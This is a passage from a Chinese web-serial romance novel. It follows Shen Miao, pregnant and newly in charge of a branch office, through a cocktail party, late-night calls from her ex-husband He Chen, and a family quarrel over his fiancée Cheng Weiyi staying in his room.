深城临海,夜晚微凉。
沈渺选了件酒红色的长裙,出席酒会。
路上时,周敬才把这次去酒会的名单拿给她。
都是与高家关系交好的。
“沈总,您等会儿不喝酒吗?”
快到酒会时,周敬才开了口,“第一次跟那些人见面,会不会显得不太好。”
沈渺低头看文件,“他们喝一杯,你陪三杯,算是我不能陪酒的诚意了。”
周敬才:“……”
就算沈渺不是怀孕,今晚这酒她也一滴都不能沾。
危机四伏,她初来乍到小心为妙。
“沈总,到了。”
司机将车停在酒店门口,下车绕到后座,将车门打开。
沈渺拿起包,从车上下来。
她身材高挑,没穿高跟鞋也将长裙挑得利落。
裙尾扫着她的脚踝,一静一动露出白皙的皮肤。
上台阶时,脚不小心踩了裙摆。
“需要我帮您吗?”
周敬才弯腰,试图帮忙将她的裙摆撩起来些。
沈渺伸出手拎了一把,“不用,不碍事。”
她快步上了两层台阶,松开裙摆阔步朝宴会厅走去。
周敬才比她高一个头,可她利落的步伐,需得周敬才大步流星,才能跟得上。
三层,偌大的包厢宴会厅,处处透着奢华与尊贵。
对开的花纹繁复雕刻木门铺着地毯,随着服务员将门打开。
厅内景象映入眼帘。
三五成群的西装革履商圈大佬,穿着昂贵礼服的女人打扮的花枝招展。
酒味与香水味混杂,迎面扑来。
沈渺细眉不禁微微收拢,但她面色如常,进入宴会厅内。
“这位是……”
“咱深城的商圈,什么时候来了这么一位美人儿。”
人群里,有人疑惑,有人调侃。
人群中,一位约莫四十来岁的女人看到沈渺,眼仁一颤,目光紧紧随着她。
“高夫人,这位是……”
女人身边,一位贵妇开口问。
“哦,这……”高夫人扯动嘴角,“我不太清楚是谁,我去问问。”
说着她朝高先生走过去。
不待她走到高先生身边,高先生已经抬脚朝沈渺走过去了。
“是百荣集团的沈总吧。”
高振山一身浅灰色西装,带着中年男人的成熟稳重,又恰到好处的绅士。
沈渺伸出手,与男人半握手,“高总。”
“没想到沈总这么年轻。”
高振山绅士的将手缩回来,推了推鼻梁上眼镜,眼底的打量,丝毫不减。
“你来深城之前,在京北任职的是?”
沈渺脸上始终挂着淡淡的笑容,“贺总的秘书,曾任职过分公司的总经理。”
闻言,高振山看她的目光意味深长了些,“那沈秘书跟贺总——”
不等她的话说完,高夫人上前来,挽住他胳膊。
“振山,这位是……”
高振山被打断说话,不悦地看了高夫人一眼,但语气平和地介绍了下。
“这位是百荣分部新上任的沈总。”
说罢,他又与沈渺介绍,“沈总,这是我太太。”
沈渺朝高夫人颔首,“高夫人。”
只是,她说完却见高夫人一直盯着她看。
高夫人那双眼睛,就像粘在了她身上,盯着她一瞬不眨。
沈渺想过来这宴会上会遇到多少事情,并且提前在心里做好了准备。
却唯独没料到,会被一个女人盯着看起来,没完没了。
““怎么?震惊沈总这么年轻,都说不出话来了?”
高振山打着圆场,胳膊轻轻戳了下高夫人。
高夫人回神,盯着不动的目光立马变成客气地看。
“确实,很年轻,百荣是贺家那个吧?那,沈总是从京北来的吗?”
沈渺颔首,“确实是从京北调过来的。”
“那,这么远一个小姑娘,你家里人放心吗?还是说父母都跟着过来了?”
高夫人在沈渺的话音还没落地时,就问出了这话。
像是她早就准备好了这个问题,就等着说出来。
154.贺忱:听说深州天气不错
初次见面,又当着这么多人,沈渺不想透露她的背景。
虽然禁不住查,但她也不会主动大庭广众之下说出来。
“抱歉,沈总,我夫人就是看你太年轻了,比我儿子大不了几岁,有些关心过头了。”
高振山又暗暗捅了高夫人两下。
高夫人保养得当,看起来只有三十多岁。
但她那双眼睛里,透着岁月的风霜,却像是五十了那般。
沈渺多看了两眼,心底生出一股异样的感觉。
她压下那股异样,浅笑道,“理解,很荣幸今天受邀来参加高总的酒会,以后在深城多多关照。”
“客气了,沈总请。”
高振山伸出手,邀请沈渺正式进入到宴会中。
他作为宴会东家,给沈渺介绍在场的人。
沈渺以身体不适为由,躲过了敬酒,周敬才在一旁跟着,别人喝一杯他喝三杯。
旁人无话可说,只能用这种方式敬酒交谈。
两个小时后,酒会散场。
沈渺请酒店的人帮忙,把周敬才抬到车上。
周敬才没喝到一滩烂泥的地步,但比烂泥好不到哪里去。
上了车就从座位上滑溜到地上,蜷缩在那儿趴在座位上,打着酒嗝说胡话。
沈渺让司机联系韩文松,弄清楚周敬才住址,把人送回去。
司机下车去打电话,车厢里只有沈渺跟周敬才。
烟酒味弥漫,沈渺将车窗落下一半,侧目看着窗外霓虹城市街道。
“嗝……放心,我一定把人看好了,嗝!”
周敬才一边打酒嗝,一边信誓旦旦地保证,“我就是您的狗腿子……”
沈渺转过头来,便见周敬才把手机抵在耳朵上,做出接电话的姿势。
但他电话明明没响。
他冲着那头的人保证,“您放心,她的一举一动,我都向您汇报!保证二十四小时跟着她……”
沈渺扯动嘴角,愣是被气笑了。
之所以留下周敬才,就是她觉得这人四肢发达头脑简单。
现在看来,周敬才比她认为的,还要简单。
五分钟后,司机回到车上,驱车先送周敬才回家。
折腾一圈,沈渺再回家时,已经快十二点了。
商商睡了,商音在一楼等着她。
见她回来,立马进厨房,把熬了一下午的汤端出来。
“第一天上班,就这么晚回来,以后可怎么办。”
商音担心她月份更大了,身体撑不住。
沈渺放下包,脱了外套,换上拖鞋,紧绷的状态一下就懈怠下来。
她晚上几乎没吃东西,这会儿饿得前胸贴后背。
坐在餐桌前,喝着热乎乎的鸡汤,顺便让商音再做个简易的三明治给她。
“看公司的现在的状况,未来一个月我都不会很忙。”
她处于被架空的状态。
如果不是今晚的宴会,她早早地下班回来。
说是来这儿独挑大梁,但其实她要做的是把这边的情况一一汇报给贺忱。
贺忱判断风吹草动,远程对这边进行操控。
趁着商音做三明治的功夫,她把今天宴会上几个跟高家关系不错的,听语气又跟韩文松很熟的人,发给林昭。
这些人或许是日后韩家掌控分部的支持者,提前做打算。
同为牛马,林昭这个点也没睡,秒回消息:【贺总让你直接跟他对接。】
沈渺手肘撑在桌沿,捧着手机发消息的姿势,改成了低下头。
手指在屏幕上敲了又敲,给贺忱发短信。
她先发了几个人名过去。
正在编辑第二条,让贺忱调查这几个人时——
贺忱的电话拨过来了。
沈渺手一抖,手机掉到她腿上。
她反应过来,迅速抓起手机,朝着厨房走出来的商音比划了一个‘嘘’的姿势,然后挺直身体接电话。
“贺总。”
“有事电话说,短信看不懂。”
深夜,贺忱声音撩人的低沉。
沈渺,“您让林助调查一下这几个人,他们可能跟韩家有关系。”
那端,一片寂静。
不知道的,还以为电话挂了。
沈渺看了看屏幕,确定电话没挂,她又怀疑,贺忱是不是睡着了。
好一会儿,贺忱的声音才又传来,“没了?”
“没,没了。”
听他语气,好像沈渺汇报的这点工作量太少。
有指责她今天一天偷懒的意思。
可短短两小时的酒会,沈渺就能准确无误地察觉到哪些人可能跟韩家有关系,已经是处处留心眼了。
一场酒会下来,她这会儿身心疲惫。
贺忱,“听说深州的天气不错。”
‘啊?’沈渺往窗外看了一眼,漆黑的夜空,她下意识应声,“是不错,挺黑的。”
商音看她说话磕磕巴巴的,聊得也挺让人摸不着头脑,凑过头来贴到手机上。
“还习惯吗。”
贺忱这话刚出,商音倒吸一口凉气,眼睛越瞪越大。
沈渺平缓的眉头皱起,“挺好的,谢谢贺总关系。”
“前些日子,微克在深城也成立了分公司。”
贺忱薄唇轻启道,“你可以让张科研申请调职。”
他话题转得突然。
沈渺一时反应不过来,“张科研调职干什么?”
说完,她才想起来那天张科研冒充了她肚子里孩子的父亲。
“我在这边还不稳定,等以后再说吧,就不劳贺总费心了。”
不劳,贺总,字里行间透着的疏离,让这通电话的持续,陷入了微妙。
有些尴尬,却又有股难以忽略的丝丝异样情愫。
贺忱一直没说挂电话。
沈渺率先败下阵来,“贺总,我没有别的工作要汇报了,您早点休息。”
“嗯。”男人从鼻腔里发出一个单音节。
电话挂断,忙音传来。
贺忱拿下扣在耳朵上的手机,放在桌子上。
被噤声的秦川如临大赦,他终于敢光明正大地喘口气了。
“沈秘书给你汇报工作?”
贺忱放下手机,转而就拿起高脚杯,深城那边情况复杂。”
“那你还让她过去。”秦川提醒,“且不说她是孕妇,她可是个女人。”
贺忱,“她很聪明,跟我也有足够的默契,能里应外合,我不会让她有事的。”
秦川砰了下他酒杯,仰头喝了杯中酒,拿起外套就走,“明天还要工作,今天就到这。”
“你话还没说。”贺忱晃着高脚杯里的褐色液体,狭长的眼眸看向秦川,“程唯怡的检查报告有什么问题。”
155.允许办公室恋情吗
“没什么问题,就是找个借口过来。”
秦川提气,“怕你生我的气,不肯跟我喝酒了。”
贺忱抓起纸巾盒就朝他摔过去。
“我看你是找死。”
秦川眼疾手快接住纸巾盒,淡笑着放回桌子上,“走了。”
——
“什么情况啊?”
电话一挂,商音就开始嚷嚷,“大半夜他给你打电话啊?”
沈渺把手机放下,“汇报工作。”
“咋,百荣是气象局啊?”
商音把餐盘往她面前推了推,在她旁边坐下。
“老实交代,到底怎么回事?”
到底怎么回事?
沈渺回想着这通电话的内容。
并没有超出上下司关系的话题,但就是很微妙。
“真的只是汇报工作,多了一句闲聊而已。”
商音一脸不可思议。
若不是知道沈渺肯定不会骗她,她都怀疑他们背地里又复合了。
深更半夜前夫的电话,问候前期在千里之外习不习惯,天气如何。
“啧啧啧,阴魂不散,人看不到了还得通电话。”
沈渺小口小口吃着东西,沉默下来。
初期的工作汇报,联系密切。
等一切步入正轨,联系就会变少。
过段时间贺忱忙婚事,会把这些工作交给林昭处理,不亲力亲为。
总之,沈渺觉得,他们未来就像两条平行线,再无相交。
“哎你说,贺忱会不会后悔了啊?他觉得你怀了别人的孩子,心里不舒服,就——”
“我今天,倒是遇到了一件新鲜事。”
见商音还要在这通电话上,展开一场荒谬的想象,沈渺开口打断她。
“啥?”
“今晚酒会,是深城高家举办的,高夫人见了我眼睛都直了,路都走不动,虽然后来我们没再说话,可她一直盯着我看,都给我看得不自在了。”
若不是不能提前离席,沈渺真打算走人。
高夫人打量她的眼神,到了令她不适的地步。
“同性恋?”
商音嘴里蹦出三个字的同时,她脑袋里蹦出了秦川。
沈渺,“你是水土不服,反应到脑子上了?”
“……”商音心虚地轻咳两声,“那,你自己说嘛!一个中年老妇女总盯着你看,能是为什么?”
沈渺要是猜得透,就直接告诉商音了。
别说猜不透,她连一点头绪都没有。
“算了,不提这些了,明天我去家政公司,找长期保姆兼月嫂,公司推荐了几个我过去看看。”
商音伸了个懒腰,“你赶快吃完了,早点去睡。”
沈渺,“不用这么着急,刚搬过来商商还不习惯,你多带带他,别着急复播。”
“那可不行,等你生了孩子花钱的地方多的是呢,我得提前准备好,成为你坚强的后盾,确保不让你和孩子受委屈。”
商音低下头,伸出手摸了摸她的肚子,“最后这三个多月,孩子长肉特别快,你多吃点,让小家伙茁壮成长。”
沈渺也想多吃,可她胃口不大,吃多了难受。
两人又聊几句,然后各自回房休息。
次日,沈渺准时到公司。
彼时,李白恬已经在她办公室门口等着了。
“渺渺姐!”
看到她从电梯出来,李白恬朝她一路小跑,“没想到,我真的抱住了你这颗大腿子!”
“站好了。”
沈渺四下看了两眼,不少双眼睛盯着呢。
李白恬立马站直了,“我忘了,你现在是沈总!”
“跟我进来。”沈渺率先进入办公室。
李白恬跟进来,关上门,“刚刚一个自称人事部的赵经理,让我过去办转职手续,人家都等半天了,我现在过去?”
沈渺放下公文包,坐下来,示意她也坐下。
“不办,你的雇佣合同在总部,不转到这边来。”
李白恬后知后觉地发现气氛不对,她乖乖坐下来。
“为什么啊?我难道,还回去吗?”
沈渺,“这边情况复杂,记住,只听我的一个人的话,谁找你有任何事,你都往我身上推。”
闻言,李白恬的脸色更凝重了,“啥情况啊?有内贼啊?”
“不是内贼,是正常内部斗争。”
沈渺见她凝重的面色,涌出来慌乱,又安抚道,“放心,贺总会处理好,我们只要干好分内之事就行了。”
李白恬想的是,到这儿抱着沈渺大腿,做个快乐的小秘书,每天摸摸鱼打打杂。
谁知道——
“我现在后悔还来得及吗?”
沈渺无奈又好笑,“晚了,我们是一条绳上的蚂蚱,公司上下就我们两个相依为命。”
李白恬顿时一脸菜色。
沈渺还想说什么,办公室的门被敲响。
“沈总。”周敬才的声音传来。
“进。”沈渺递给李白恬一个安心的眼神,看向门口。
周敬才推门而入,阔步进来,“沈总,抱歉,我今天迟到了五分钟,昨天喝的实在有些多。”
说完,他打量着坐在位置上的李白恬,目光狐疑却并未问。
沈渺,“昨天晚上辛苦你了,迟到不处罚。”
她朝李白恬抬了抬下巴道,“这是总部调过来的秘书,你们互相认识一下吧。”
李白恬有些心有余悸,周敬才进来后她没敢看他。
直到沈渺让她认识一下,她才站起来,朝周敬才看去。
谁知这一看,心有余悸就变成了心跳加速。
“你好,周敬才。”
周敬才朝李白恬伸出手,“我是沈总的助理。”
李白恬眼冒桃花,直勾勾盯着人,“李,李白恬,你可以叫我恬恬。”
“恬恬。”周敬才冲她一笑。
笑得李白恬脑袋充血一样,人都晕头转向。
沈渺:“……”
她忍不住捏眉。
说实话,她怀疑周敬才是韩文松给她准备的美男计。
她才不会上当,周敬才固然帅,可在贺忱面前也是黯然失色的。
但她没想到,李白恬禁不住诱惑。
“李秘书。”沈渺开口喊了李白恬一声。
李白恬回神,立马伸出手去,“周,周助理,你名字真好听。”
周敬才穿着纯黑色西装,没打领带,外套扣子敞开着,白色衬衫领口几颗没系的扣子,露出若隐若现的胸膛。
帅气中带着一丝不逊和年轻气盛,可以说长在了李白恬的审美上。
符合她对另外一半的所有要求,还超出了她的预估。
“周助理,你先去忙,我再跟她聊两句。”
沈渺开口赶人。
周敬才识趣,转身就走了。
办公室的门刚关上,沈渺还没来得及叮嘱李白恬。
李白恬先开了口,“渺渺姐,他长得好帅啊,分部这边允许办公室恋情吗?”
156.今晚你就住他房间吧
沈渺有种被雷轰了的无力感。
而这雷,还是她自己引下来的。
“忘了我刚刚跟你说的什么?这公司上下,只有我们两个是一条绳上的蚂蚱。”
李白恬脸色一僵,眼底的热度褪去不少,“他是坏人的爪牙吗?”
沈渺挑了下眉,意思不言而喻。
“那真可惜。”李白恬的兴奋肉眼可见地消失,“长得这么帅,我连跟他的孩子叫什么,都想好了。”
“你要是敢被他色诱住,坏了我的好事,该想的就是自己埋哪儿。”
沈渺半吓唬半玩笑,但她很认真。
李白恬立马摇头,双手捂住嘴,声音在指缝里传出来。
“不不不,我保证禁住诱惑!”
沈渺觉得李白恬听话,又足够忠心,所以才把她调过来。
但此刻,突然又——
“总之,记住我的话,出去吧,让周敬才带你熟悉一下公司。”
李白恬竖起三根手指打保证,“沈总放心,我生是你的人,死是你的鬼,背叛你的事情,我绝对不干!”
沈渺挥手,“去吧。”
“你跟了贺总这么多年,都能禁得住贺总的诱惑,我向你学习!”
听似是在跟沈渺说话,但李白恬却是狠狠掐着自己大腿,警示自己。
“一定要向渺渺姐学习,做个女强人……”
她视死如归般,转身离开。
沈渺脑仁大,好在除了初次见面的惊艳动心,李白恬没再对周敬才表现出不受控的心动。
——
“贺总,沈秘书发过来的几个人都已经调查清楚了,确实私下跟韩家往来密切,我已经把调查到的东西,发到沈秘书邮箱了,顺便也往您邮箱发了一份……”
林昭汇报工作。
说道发到‘沈秘书邮箱了’时,他背脊莫名一寒。
对上贺忱投来的目光,他‘嘶’了一声,立刻拿出手机点开邮箱,撤回发给沈渺的邮件。
“贺总,我的手机信号可能不太好,发送失败了,要不由您把这些资料,发给沈秘书吧?”
贺忱移开凝着他的目光,看向电脑,点开邮箱,一通操作后,他鼻腔里发出一个单音节。
“嗯。”
林昭松一口气,“另外,明董让我把您的工作安排开,明天去看婚礼酒店。”
“没空。”贺忱薄唇吐出两个字。
“明董说,您要是不去,她就来公司找您,直到您同意去为止。”
林昭如实转达明黎艳的话。
最近,贺忱吃住都在公司,连周六的家宴都不回家了。
不接明黎艳的电话,不回明黎艳的消息。
明黎艳没办法了,才给林昭打电话。
贺忱眯起眸光,“今晚回贺家。”
“是。”林昭颔首。
贺忱看了眼邮件,然后给沈渺发过去。
但两个小时,收件箱只有沈渺设置的自动回复邮件。
甚至沈渺还没点开那封邮件。
午餐前,贺忱拿过手机,拨通了沈渺的电话。
不出几秒,电话接通。
“贺总?”
沈渺语气惊讶,很快又平静下来,“您说。”
贺忱,“你要查的几个人,发到你邮箱了。”
“我看到了。”沈渺说完,又添一句,“上午在开会,没来得及看。”
贺忱,“看一眼,有问题再跟我说。”
沈渺,“好。”
“现在看。”
赶在沈渺挂电话之前,贺忱的声音又传来。
这意思是,现在看邮件,有问题现在就说。
沈渺只能把手机放到一旁,点开邮件,查看那几个人的资料。
通话始终保持。
不知过了多久,沈渺的声音再度传来,“贺总,没什么问题。”
电话那端一片安静。
沈渺又喊了一声,“贺总?”
“那就好。”贺忱吐出三个字,挂了电话。
‘嘟嘟嘟’的忙音,一下又一下,规律且有力地响着。
沈渺盯着屏幕看了几秒,眉头一下收拢。
她将手机放到一边,继续处理工作。
只是没隔一会儿,她总要下意识看上一眼手机。
果不其然,贺忱又发了消息过来。
【为确保安全,每天准时电话报平安。】
虽说商场如战场,但也没到会遭黑手的地步。
用得着电话报平安吗?
沈渺心底诽谤,却回消息:【是,贺总。】
京北,夜色撩人。
贺家老宅。
贺忱回到家里时,客厅一片其乐融融。
程唯怡穿着水红色长裙,乌黑的长发披散着,脸上画着精致妆容。
她坐在明黎艳旁边,正与贺家二老聊着什么。
贺老夫人扯官方笑容扯得腮帮子都僵了。
看到贺忱进来,她立马招手,“贺忱回来了,赶快开饭吧。”
她起身,借助让贺懿搀扶的机会,把贺懿也解救于水火之中。
明黎艳给程唯怡使眼色,程唯怡起身朝贺忱走过去,伸出手接贺忱的外套。
“贺忱哥。”
“嗯。”贺忱将外套挂起来,面色寡淡,绕开程唯怡朝餐厅走。
程唯怡笑容一浅,转身追过来。
“我们有好几个酒店预定方案,到时候兵分两路,我妈和伯母去看城南那两个酒店,我们看城北的。”
贺忱步伐顿了下,片刻恢复如常,他一言不发,挽起袖口进入餐厅。
“爷爷,奶奶。”
朝着贺家二老颔首打招呼后,他在首位旁边的位置坐下。
贺岭山出差不在家,他坐在贺老爷子旁边。
明黎艳带着贺懿坐在贺老夫人旁边。
程唯怡顺理成章坐在了贺忱左边。
“唯怡,今晚就在这儿睡,别走了。”
明黎艳先开了口,“明天早上你跟贺忱直接去城北的酒店,省得他还得去程家接你。”
程唯怡观察着贺忱的脸色。
“贺忱哥明天有时间吗?”
明黎艳含笑的眼眸在看到贺忱面无表情的样子时,渐渐涌上来不满。
“林昭把你的行程发给我了,上午的会议推迟一下,又不是重要的事情。”
贺忱沉一口气,拿过汤勺给二老添汤,“你们定就好。”
明黎艳拧眉,“结婚这么大的事情,你怎么能这么不上心?明天你必须去。”
说吧,她看向程唯怡,“今晚你就住他房间吧,反正都订婚了,结婚是板上钉钉的事情,爷爷奶奶都等着抱孙子呢,结婚时来个双喜临门最好了。”
157.不想回就留下,住我房间
贺忱拿筷子的手一拢,面上却如常的淡定。
他侧目看向程唯怡。
程唯怡眼底的欣喜和激动,几乎在一瞬间涌上来。
但她想到什么,很快又压下去,紧抿起嘴唇。
她也侧目看向贺忱,目光里带着淡淡的复杂。
“你若想回,我送你。”贺忱薄唇轻启道。
程唯怡,“那,如果不想回呢?”
贺懿撇嘴晃脑袋,无声地学了程唯怡的话。
明黎艳在桌子底下掐她一把,她‘嘶’了声,差点儿没跳起来。
缓过来,她立马挪动椅子往贺老夫人那边靠。
贺老夫人警示般地看一眼明黎艳。
“想留下就直接说呗,装什么装。”
有了贺老夫人撑腰,贺懿更肆无忌惮。
为什么她跟程唯怡成不了朋友?
她一女的,都受不了程唯怡整天拐弯抹角的说话。
张嘴是用来说话的,不是用来出字谜的,要不大家都是哑巴用手比划得了呗?
下人在厨房收拾,一阵阵杂音传出来,将她的话掩住。
别说程唯怡,就连坐在她身边的明黎艳都没有听清楚她说了什么。
贺老夫人倒是听见了,想笑又不合适,轻轻在贺懿脑袋上拍打了一下。
贺懿吐吐舌头,继而看向贺忱。
“不想回就留下。”贺忱慢条斯理地吃着东西,“住我房间。”
程唯怡的心快从嗓子眼里跳出来了。
身边的男人身上有股淡淡的沉香,白色的衬衫紧紧熨贴着的精壮胸膛,是她不知想了多少次想抱的!
今晚,住他房间。
贺懿看戏的笑容顿时没了。
程唯怡嘴角压不住了,她点头,“这么晚了,就不劳烦贺忱哥再送我回去了,我,我就留下来吧。”
“留下留下,等会儿我就让人把房间重新收拾一下。”
明黎艳欣慰一笑。
程唯怡跟贺忱的关系更近一步,真到结婚那天双喜临门。
这段时间,贺家的乱子就算烟消云散,扬眉吐气了。
“吃饭吧。”
贺老夫人给贺懿加了一块排骨,示意贺懿快吃。
吃饱了赶紧走,眼不见为净。
贺懿埋头吃东西。
饭桌上,只有明黎艳一直跟程唯怡聊天,商量婚礼的细节。
“贺忱,你觉得怎么样?”
两人说完,明黎艳问贺忱。
贺忱,“你们定就好,我没意见。”
他放下筷子,朝贺家二老颔首,“爷爷,奶奶,我吃饱了,你们慢用。”
“去吧。”贺老爷子挥手,示意他离开。
“楼上还没收拾出来,你上去干什么?结婚的事情,你总不能一点意见都不给。”
明黎艳喊住他,“坐下,等会儿跟唯怡一起上去。”
贺忱已经起来,他将椅子推回餐桌前,“我说了,你们定就好。”
说完,他转身上楼。
毕竟是婚礼,一辈子只有一次的大事。
贺忱这个态度,程唯怡心里的失落是难掩的。
“贺忱!”
明黎艳重重将筷子放下,震得餐厅抖了几抖。
“他是男人,不拘小节,差不多就行了,不就是个婚礼。”
贺老爷子黑了脸,这话一半冲明黎艳,一半冲程唯怡。
不就是个婚礼,贺家儿媳妇,还得全家总动员?
明黎艳被气狠了,在长辈面前失态。
她收敛了情绪,扯出一抹僵硬笑容来,“爸,我是担心万一婚礼细节他不喜欢,未免太遗憾了,毕竟他这一辈子,就结这一次婚。”
“不一定。”贺老夫人小口小口品着汤。
她这话落地,程唯怡的脸色煞白,又渐青。
“妈,您说什么呢?”明黎艳的笑容挂不住了,“什么叫不一定!”
贺老夫人慢悠悠抬起头来,“就他这臭脾气,万一以后唯怡不想跟他过了,离了不还得再找?”
“怎么会?”明黎艳语气几乎笃定,“唯怡最喜欢他了,从小一起长大他什么德行的,她都知道,受不了的话怎么会在一起?”
说完,她看向程唯怡,“是吧?”
程唯怡下意识点头,“当然。”
“我吃饱了。”贺懿冲贺家二老一笑,“爷爷奶奶,你们慢慢吃。”
她刚起身,贺老夫人也放下了筷子,“我也好了,去泡壶茶,到客厅坐坐。”
贺懿应声,调转方向朝茶台走去,泡了一壶绿茶,端到客厅跟贺老夫人坐下聊天。
没一会儿,程唯怡吃饱饭上楼去了。
明黎艳朝客厅走过来,“小懿,给你哥他们送个果盘上去。”
“我不去。”贺懿想都不想就说,“让章妈去。”
“你这孩子,怎么一点事都不懂。”
明黎艳在她对面坐下,教育着,“她跟你哥马上就结婚了,你们必须好好处,不然让外人看了笑话,快去。”
贺懿不情不愿地看向贺老夫人,试图求助。
“去吧。”贺老夫人却没再护着她。
毕竟,明黎艳说得有道理。
贺懿哼了一声,起身去厨房端果盘上楼。
此刻,贺忱的房间。
下人是会办事的,特意挑了一套红色喜庆的床品,房间里透着喜气,像是要结婚了一样。
贺忱在浴室洗澡。
程唯怡坐在床尾的沙发上,看着那张双人床,不知在想什么,脸颊发红。
她等这一天,等了太久。
终于来了!
“吃水果。”
贺懿端着果盘进来,看到程唯怡双腮发粉,像是发了情,实在喜欢不起来。
她承认,当初沈渺看贺忱的眼神也不清白,当时一定也是喜欢贺忱的。
但沈渺从未表现出这么——猛虎扑食的饥渴。
她放下水果就要走。
贺懿这不怎么好的态度,将程唯怡的思绪拉回来。
程唯怡拧着眉,语气带了几分不满,“你进我们房间,不知道敲门吗?”
贺懿往外走的脚步一顿,好笑地回过头来。
“房门开着呢,敲什么门啊?”
“那也要敲门。”程唯怡站起来说,“你都这么大的人了,还需要我教你规矩吗?”
贺懿:“……”
给了点儿颜色,程唯怡就要开染坊。
哪里是贺懿不肯跟程唯怡处好关系,实在是程唯怡这人最会得了便宜卖乖。
“这是我哥的房间,我进我哥房间就没敲过门!”
程唯怡,“现在这是我们的房间,以后你就得敲门。”
“你有没有搞错啊?”贺懿撸起袖子双手叉腰,据理力争,“以前渺渺跟我哥在床上的时候,我都推门直接进来,你受得了就受,受不了就走!”
158.都是渺渺睡过的床了,没见过世面!
猝不及防地提到沈渺。
程唯怡的好心情一瞬间全都被破坏。
“那是以前,你以后不许再提沈渺,我是你嫂子,你给我放尊重点!不然被怪我跟你翻脸!”
贺懿心直口快,说完她也知道这个时候提沈渺确实不好。
是对沈渺不好,毕竟人都已经走了,脱离了关系,她这不是给沈渺增加了无端仇恨吗?
可程唯怡的反应,又将她的暴脾气点燃了。
“我说的是事实!少拿嫂子的身份压我,你能不能嫁给我哥还两说,但我一定是我哥的妹妹!”
程唯怡:“!!!”
“睡我哥房间就给你神气成这样了,嫁进来你不得戳着我脊梁骨说话啊?有什么了不起的,都是渺渺睡过的床了,没见过世面的样子!”
贺懿头脑风暴,逮住什么说什么。
说完见程唯怡的脸色铁青煞白,她心里‘咯噔’一声。
完了,这次是真惹事了。
不等程唯怡再说什么,她转身就跑了。
她不敢下楼,今天这些话要是让明黎艳知道,就是贺老夫人也保不住她!
但她又觉得自己没错。
她掏出手机就给沈渺打电话。
电话响了很久,沈渺才接。
“小懿。”
此刻,沈渺正准备下班,她站在公司门口接的电话。
“完了渺渺,我惹事儿了。”
贺懿一股脑地将刚才的事情都说了。
出于心虚,她没敢说自己提到了沈渺,只说跟程唯怡吵起来了。
“程唯怡这人真的很过分,前段时间她给我发消息,都唯唯诺诺地讨好我,今天能爬上我哥床了,对我鼻孔朝天,她要结了婚,肯定在我面前作威作福!”
“偏偏我妈还向着她,我以后在这个家里越来越没地位了,奶奶为了保持公平,也不能明目张胆地偏袒我,我要不去深城投奔你吧。”
深城的夜风有些凉。
沈渺往路边走,迎面来的风吹动她裙摆,凉意涌上她心头。
只是听到贺懿的话,她的心间又蔓延出烦躁。
“深城情况不稳,你别来了,好好在总部待着,以后……跟程唯怡好好相处,别让外人看了笑话。”
“你看,你跟我妈一个出发点,都怕我跟程唯怡不和被外人看了笑话,我妈怎么就发现不了你的好呢。”
贺懿越来越遗憾,沈渺跟贺忱怎么就离婚了呢?
贺忱娶谁不行,非要娶那个烦人精。
“过去的事情,别再提了。”
沈渺劝慰了贺懿两句,然后挂了电话。
只是没敲门的小事,都能让贺懿跟程唯怡吵起来,以后程唯怡进门,矛盾只会更多。
沈渺记得,她第一次在贺家过夜时,贺懿也是不敲门就进来了。
当时是贺老夫人让她来送水果。
她跟贺忱领完证回贺家,当晚留宿,那时他们刚发生关系没多久。
彼此还不能熟悉跨越了上司和下属关系,更进一步的接触。
他们洗过澡,躺在床上。
她紧张地攥着被角。
身边的男人看似淡定自若,手里的书都拿反了。
贺懿突然闯进来,化解了他们之间那股紧张微妙。
但贺懿出去时,贺忱还是交代了一句,“下次再进来敲门。”
贺懿‘哦’了一声,可她还是不长记性。
所以后来她跟贺忱很少留宿老宅。
偶尔留宿,贺忱会锁门。
沈渺总觉得,那两年的婚姻,回忆不多。
可不知怎的,贺懿的一通电话,就让她思绪万千,回想起很多。
司机开车过来,停在路边,下车将车门打开。
沈渺把手机收起来,转身上了车。
贺忱让她每天晚上下班,打电话保平安。
但她,还是别打扰他和程唯怡了吧。
车窗半落,凉凉的夜风吹来,一股冷意侵袭着沈渺的身体。
她拿过车里备用的毯子,披在身上。
“沈总,高夫人邀请您明天下午,到她新开的会所里品茶。”
前座,周敬才询问着,“您去吗?”
沈渺的思绪扯回来。
如今,她手里的实权不多,工作安排少,时间很富裕。
她捏了捏眉心,摇头道,“送个花篮过去,我就不去了。”
“但是高夫人说,明天去的都是深城商圈各界大佬的太太,能帮您引荐一下。”
周敬才回过头来,分析了一番,“我觉得您该去。”
沈渺自然知道,她理应去。
公司内部不稳,她该权利拉拢外界势力,稳住自己的脚。
可是她怀孕的事情,最好延迟公开。
而贵太太们眼睛毒,有当场被看出来的风险。
“不去。”
她又说了一遍。
周敬才拒绝了高太太。
没几秒,周敬才就为难道,“高太太那边要您的电话,想亲自打电话请您过去。”
沈渺眉头一拧,想到那天酒会上高太太看她时的异样目光。
她沉吟片刻道,“那就帮我应了吧。”
“好。”周敬才将下午的行程安排好。
半小时后,沈渺从车上下来。
她拎着包走到家门口,正准备开门时,手机响了。
她缩回开门的手,从包里拿出手机。
本以为是高太太打来的,她下意识地滑动屏幕。
待电话接起的时候,她才看清楚屏幕上那串号码,是来自京北的。
“下班了。”
贺忱富有磁性的嗓音传来。
沈渺大脑宕机几秒,快速回答,“下班了。”
“忘了我跟你说的?”贺忱语气不虞。
“没忘,只是时间太晚,怕打扰贺总休息。”
沈渺没想到,她没主动报平安,贺忱会打电话过来。
贺忱,“我什么时候比你睡得早过?”
确实没有。
一般她都比贺忱早下班。
结婚那段时间,他们一起休息。
她也会被他折腾得体力不支,先睡过去。
但,现在是讨论这个问题的时候吗?
“让贺总惦记了,明天我会主动报备。”
沈渺这话,有结束沟通的意思。
可电话那端,却安静下来,没了动静。
好一会儿,就在沈渺想直接把电话挂了时——
“贺忱哥,我困了。”
程唯怡的声音突然传来。
沈渺眸光一颤,将手机拿开耳畔,挂电话的速度更快了。
不给自己多余单独的时间,她解开锁门进入家中。
“音音。”
她刚进门,便开口喊商音。
159.她至今还会被贺忱影响。
商音穿着浅米色睡衣,系着灰色围裙,从厨房出来。
“加餐做好了,快洗手准备吃。”
沈渺放下包,脱掉外套挂起来,撸起袖子进厨房洗手。
“闻着就香,你的手艺进步不少。”
商音目光得意,“那是,我得练好厨艺,好给商商做辅食。”
为了孩子,商音变了很多。
她一向遵循女人的手也是用来打天下的,不应该沾柴米油盐酱醋茶。
眼看商商马上就要添辅食,她变着法地折腾厨艺。
三分钟后,一碗热腾腾的海鲜面出炉。
面热,沈渺一边翻拌一边给商音聊天。
